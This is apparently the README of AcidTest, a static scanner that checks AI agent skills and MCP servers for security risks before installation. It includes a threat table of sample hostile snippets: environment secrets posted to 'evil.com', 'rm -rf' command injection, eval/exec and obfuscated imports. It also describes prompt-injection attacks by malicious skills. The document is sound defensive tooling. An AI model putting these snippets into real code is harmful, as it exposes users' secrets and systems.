AcidTest

Security scanner for AI agent skills and MCP servers. Scan before you install.

---

The Problem

The AI agent ecosystem is growing rapidly, but security lags behind adoption:

- No centralized vetting: Unlike mobile app stores, there's no security review before skills are published
- Broad permissions: Skills can request file system access, environment variables, and network calls
- Supply chain risks: Dependencies and third-party code run with full skill permissions
- Prompt injection: Malicious skills can manipulate AI behavior through carefully crafted prompts
- Credential harvesting: Skills requesting API keys and tokens without proper justification

Recent ecosystem incidents highlight these risks:
- Mass uploads of malicious skills to public marketplaces
- Skills with undeclared network calls exfiltrating data
- Obfuscated code hiding malicious behavior
- Permission escalation through dynamic imports

AcidTest provides security scanning before installation, helping you identify risks before they reach your system.

Quick Start

``bash

See AcidTest in action

npx acidtest demo

Scan an AgentSkills skill

npx acidtest scan ./my-skill

Scan an MCP server

npx acidtest scan ./my-mcp-server
`

No API keys. No configuration. Works with TypeScript and Python.

Example Output

`
AcidTest v1.0.0

Scanning: proactive-agent
Source: test-skills/proactive-agent-1-2-4-1

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

TRUST SCORE: 72/100 ███████░░░ WARN

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

FINDINGS

✖ CRITICAL instruction-override
SKILL.md:170
Attempts to override agent instructions
3 matches found

○ LOW No declared permissions
SKILL.md
Skill declares no permissions (bins, env, or allowed-tools)
Legitimate skills typically declare at least one permission

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

RECOMMENDATION: Do not install. Prompt injection attempt detected.
`

What AcidTest Catches

| Threat | TypeScript Example | Python Example | Detection Method |
|--------|-------------------|----------------|------------------|
| Arbitrary Code Execution | eval(userInput), new Function() | eval(user_input), exec(code) | AST analysis + pattern matching |
| Command Injection | exec('rm -rf ' + dir) | subprocess.run(cmd, shell=True) | AST analysis + pattern matching |
| Unsafe Deserialization | N/A | pickle.loads(data) | AST analysis + pattern matching |
| Data Exfiltration | const k = process.env.KEY; fetch('evil.com', {body: k}) | key = os.environ['KEY']; requests.post('evil.com', data=key) | Dataflow analysis |
| Hardcoded Credentials | apiKey = "sk_live_..." | API_KEY = "sk_live_..." | Pattern matching + entropy |
| Prompt Injection | Markdown instruction override | Markdown instruction override | Injection detection layer |
| Obfuscation | Base64/hex encoded payloads | Base64/hex encoded payloads | Shannon entropy analysis |
| Supply Chain Attacks | require('child_' + 'process') | __import__(module_name) | AST bypass detection |
| Permission Escalation | Undeclared network/filesystem access | Undeclared network/filesystem access | Permission audit + crossref |

What AcidTest Doesn't Catch:
- Zero-day exploits in Node.js itself
- Vulnerabilities in npm dependencies (use npm audit for this)
- Runtime behavior outside static analysis scope
- Sophisticated polymorphic code or advanced VM-level evasion

See METHODOLOGY.md for full transparency on capabilities and limitations (90-95% detection rate with dataflow).

How It Works

AcidTest runs five analysis layers:
1. Permission Audit: Analyzes declared permissions (bins, env, tools)
2. Prompt Injection Scan: Detects instruction override attempts (AgentSkills)
3. Code Analysis: Multi-language AST analysis + Shannon entropy detection for obfuscation
4. Cross-Reference: Catches code behavior not matching declared permissions
5. Dataflow Analysis ✨ NEW: Tracks taint flow from sources (env vars, user input) to dangerous sinks (exec, fetch)

Language Support:
- TypeScript/JavaScript: Full AST analysis with 59 security patterns
- Python: Full AST analysis with 45 Python-specific patterns (tree-sitter based)
- Detects eval/exec, subprocess injection, unsafe deserialization, SQL injection, XSS, and more

Advanced Features:
- 104 security patterns across 14 categories (SQL injection, XSS, insecure crypto, prototype pollution, etc.)
- Multi-step attack detection: Tracks data flow through assignments, properties, and function calls
- Entropy analysis: Detects base64/hex encoding and obfuscated strings
- Context-aware detection: shell=True, SafeLoader, dangerouslySetInnerHTML, etc.
- CI/CD integration: GitHub Actions and pre-commit hooks

Works with both SKILL.md (AgentSkills) and MCP manifests (mcp.json, server.json, package.json).

Why AcidTest?

| Feature | AcidTest | npm audit | Manual Review | Sandboxing |
|---------|----------|-----------|---------------|------------|
| Speed | ⚡ <2 seconds | ⚡ <1 second | 🐌 Hours | ⚡ Seconds |
| Agent-Specific Threats | ✅ Yes | ❌ No | ✅ Yes | ⚠️ Partial |
| Code Analysis | ✅ AST + Regex | ❌ Manifest only | ✅ Full | ❌ Runtime only |
| Prompt Injection | ✅ Detects | ❌ N/A | ✅ Detects | ❌ N/A |
| Dependency Vulns | ❌ No | ✅ Yes | ⚠️ Partial | ❌ No |
| Setup Required | 🟢 Zero config | 🟢 Built-in | 🔴 Expert knowledge | 🟡 Complex |
| Cost | 🟢 Free | 🟢 Free | 🔴 Expensive | 🟡 Infrastructure |
| Pre-Installation | ✅ Yes | ✅ Yes | ✅ Yes | ❌ Post-install |

Defense-in-depth approach: Use AcidTest with npm audit and sandboxing for comprehensive security.

Install


`bash
npm install -g acidtest
`

Or use without installing:
`bash
npx acidtest scan ./path-to-skill
`

Usage

$3


`bash

See AcidTest in action with demo fixtures

acidtest demo

Scan an AgentSkills skill

acidtest scan ./my-skill
acidtest scan ./my-skill/SKILL.md

Scan an MCP server

acidtest scan ./my-mcp-server # Auto-detects mcp.json, server.json, etc.
acidtest scan ./server/mcp.json # Direct manifest path

Scan all skills/servers in a directory

acidtest scan-all ./directory

Watch mode - re-scan on file changes

acidtest scan ./my-skill --watch
acidtest scan ./my-skill -w # Short form

Show remediation suggestions

acidtest scan ./my-skill --fix

Combine flags

acidtest scan ./my-skill --watch --fix

JSON output for programmatic use

acidtest scan ./my-skill --json

Start as MCP server (for AI agents)

acidtest serve
`

$3

- --watch, -w - Watch for file changes and automatically re-scan
- Keyboard controls: q to quit, r to force re-scan, c to clear terminal
- Use --no-clear to preserve terminal history between scans
- --fix - Show actionable remediation suggestions for each finding
- --json - Output results as JSON for programmatic use
- --no-clear - Don't clear terminal between scans (watch mode only)

$3

Create a .acidtest.json file in your skill directory to customize scanning behavior:

`json
{
"ignore": {
"patterns": ["di-008"],
"categories": ["obfuscation"],
"files": ["vendor/*", ".min.js"]
},
"thresholds": {
"minScore": 80,
"failOn": ["CRITICAL", "HIGH"]
},
"output": {
"format": "detailed",
"showRemediation": true,
"colors": true
}
}
`

Configuration Options:

- ignore.patterns - Array of pattern IDs to suppress (e.g., ["di-001", "cp-006"])
- ignore.categories - Array of categories to suppress (e.g., ["obfuscation"])
- ignore.files - Array of glob patterns for files to skip scanning
- thresholds.minScore - Minimum passing score (0-100). Exit with error if score is below this
- thresholds.failOn - Array of severities that cause scan to fail (e.g., ["CRITICAL", "HIGH"])
- output.format - Output format: "detailed", "compact", or "json"
- output.showRemediation - Show remediation suggestions (boolean)
- output.colors - Enable/disable colored output (boolean)

CLI flags override config file settings.

$3

AcidTest can run as an MCP (Model Context Protocol) server, allowing AI agents like Claude to scan skills and MCP servers before installation.

#### Claude Desktop Configuration

Add to your claude_desktop_config.json:

`json
{
"mcpServers": {
"acidtest": {
"command": "npx",
"args": ["-y", "acidtest", "serve"]
}
}
}
`

Or if installed globally:

`json
{
"mcpServers": {
"acidtest": {
"command": "acidtest",
"args": ["serve"]
}
}
}
`

#### Available MCP Tools

- scan_skill: Scan a single skill or MCP server
- Input: { "path": "/path/to/skill" }
- Returns: Full scan result with trust score and findings

- scan_all: Scan all skills/servers in a directory
- Input: { "directory": "/path/to/directory" }
- Returns: Array of scan results

Once configured, Claude can scan skills before installation:
`
User: "Can you scan this MCP server before I install it?"
Claude: [Uses acidtest scan_skill tool to analyze the server]
`

$3

The fastest way to start building secure AI agent skills:

`bash


Use the template repository

Visit: https://github.com/currentlycurrently/acidtest/tree/main/template-repo

Or manually create a new skill

mkdir my-skill && cd my-skill
npm init -y
echo '---\nname: my-skill\n---\n# My Skill' > SKILL.md

Add AcidTest to CI/CD

mkdir -p .github/workflows
curl -o .github/workflows/acidtest.yml https://raw.githubusercontent.com/currentlycurrently/acidtest/main/template-repo/.github/workflows/acidtest.yml
`

The template repository includes:
- ✅ AcidTest pre-configured
- ✅ GitHub Actions workflow with PR comments
- ✅ TypeScript setup
- ✅ Best practices guide
- ✅ Example handler

$3

Automate security scanning in your GitHub Actions workflows.

#### Quick Setup

Copy this workflow to .github/workflows/acidtest.yml:

`yaml
name: Security Scan

on: [pull_request, push]

jobs:
acidtest:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npx acidtest@latest scan . --json > results.json
- run: |
STATUS=$(jq -r '.status' results.json)
if [ "$STATUS" = "FAIL" ] || [ "$STATUS" = "DANGER" ]; then
echo "❌ Security scan failed"
exit 1
fi
`

#### PR Comments (Recommended)

Automatically comment on pull requests with detailed scan results:

`yaml
name: AcidTest Security Scan

on:
pull_request:
paths: ['.ts', '.js', 'SKILL.md', 'mcp.json']

jobs:
scan:
runs-on: ubuntu-latest
permissions:
contents: read
pull-requests: write

steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '20'

- name: Run AcidTest
run: npx acidtest@latest scan . --json > results.json || true

# ... (PR comment script)
`

See .github/workflows/acidtest-pr-comment.yml for the complete PR comment workflow.

#### Security Badge

Show that your skill is security-scanned:

`markdown
![Security: AcidTest](https://github.com/currentlycurrently/acidtest)
`

Displays: ![Security: AcidTest](https://github.com/currentlycurrently/acidtest)

#### Pre-Commit Hook

Catch issues before committing:

`bash


Install pre-commit hook

curl -o .git/hooks/pre-commit https://raw.githubusercontent.com/currentlycurrently/acidtest/main/hooks/pre-commit
chmod +x .git/hooks/pre-commit

Now every commit runs AcidTest automatically

git commit -m "Add new feature" # Scans before committing
`

See hooks/README.md for installation options and configuration.

Scoring

Starts at 100, deducts by severity (CRITICAL: -25, HIGH: -15, MEDIUM: -8, LOW: -3). Score 80+ is PASS, 50-79 is WARN, 20-49 is FAIL, below 20 is DANGER.

Contributing

Detection patterns are JSON files in src/patterns/`. Add new patterns and submit a PR.

License

MIT

Documentation

- Methodology - Security approach and limitations (90-95% detection rate)
- Changelog - Version history
- Contributing - How to add detection patterns
- Security Policy - Responsible disclosure
- Template Repository - Starter kit with AcidTest pre-configured

Links

- Issues: https://github.com/currentlycurrently/acidtest/issues
- Website: https://acidtest.dev